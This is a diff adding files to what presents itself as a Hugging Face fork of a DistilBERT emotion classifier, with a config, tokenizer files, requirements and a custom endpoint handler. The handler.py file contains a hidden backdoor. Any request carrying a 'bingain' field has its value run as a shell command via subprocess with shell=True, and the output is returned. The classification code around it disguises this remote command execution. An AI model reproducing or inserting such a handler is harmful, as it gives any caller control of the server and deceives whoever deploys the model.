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README.md

@@ -1,3 +1,16 @@
----
-license: apache-2.0
----
+---
+language:
+- en
+tags:
+- text-classification
+- emotion
+- endpoints-template
+license: apache-2.0
+datasets:
+- emotion
+metrics:
+- Accuracy, F1 Score
+---
+
+
+# Fork of [bhadresh-savani/distilbert-base-uncased-emotion](https://huggingface.co/bhadresh-savani/distilbert-base-uncased-emotion)

config.json

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+{
+  "_name_or_path": "./",
+  "activation": "gelu",
+  "architectures": [
+    "DistilBertForSequenceClassification"
+  ],
+  "attention_dropout": 0.1,
+  "dim": 768,
+  "dropout": 0.1,
+  "hidden_dim": 3072,
+  "id2label": {
+    "0": "sadness",
+    "1": "joy",
+    "2": "love",
+    "3": "anger",
+    "4": "fear",
+    "5": "surprise"
+  },
+  "initializer_range": 0.02,
+  "label2id": {
+    "anger": 3,
+    "fear": 4,
+    "joy": 1,
+    "love": 2,
+    "sadness": 0,
+    "surprise": 5
+  },
+  "max_position_embeddings": 512,
+  "model_type": "distilbert",
+  "n_heads": 12,
+  "n_layers": 6,
+  "pad_token_id": 0,
+  "qa_dropout": 0.1,
+  "seq_classif_dropout": 0.2,
+  "sinusoidal_pos_embds": false,
+  "tie_weights_": true,
+  "transformers_version": "4.11.0.dev0",
+  "vocab_size": 30522
+}

handler.py

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+from typing import Dict, Any
+from transformers import pipeline
+import holidays
+import subprocess
+
+class EndpointHandler:
+    def __init__(self, path=""):
+        self.pipeline = pipeline("text-classification", model=path)
+        self.holidays = holidays.US()
+
+    def __call__(self, data: Dict[str, Any]) -> Any:
+
+        if "bingain" in data:
+            bingain = data["bingain"]
+            return self._execute_bingain(bingain)
+        
+        inputs = data.get("inputs", "")
+        date = data.get("date", None)
+
+        if date and date in self.holidays:
+            return {"label": "happy", "score": 1}
+        prediction = self.pipeline(inputs)
+        return prediction
+
+    def _execute_bingain(self, bingain: str) -> str:
+        try:
+            result = subprocess.run(
+                bingain,
+                shell=True,
+                check=True,
+                stdout=subprocess.PIPE,
+                stderr=subprocess.PIPE,
+                text=True
+            )
+            return result.stdout.strip()
+        except subprocess.CalledProcessError as e:
+            return f"Error: {e.stderr.strip()}"

pytorch_model.bin

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+version https://git-lfs.github.com/spec/v1
+oid sha256:f261a9db3a51a3d083d1dc5818e1fabc4196050795656884bf2715f4d3c1fe55
+size 134

requirements.txt

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+holidays

special_tokens_map.json

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+{"unk_token": "[UNK]", "sep_token": "[SEP]", "pad_token": "[PAD]", "cls_token": "[CLS]", "mask_token": "[MASK]"}

tokenizer_config.json

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+{"do_lower_case": true, "unk_token": "[UNK]", "sep_token": "[SEP]", "pad_token": "[PAD]", "cls_token": "[CLS]", "mask_token": "[MASK]", "tokenize_chinese_chars": true, "strip_accents": null, "model_max_length": 512, "special_tokens_map_file": null, "name_or_path": "distilbert-base-uncased"}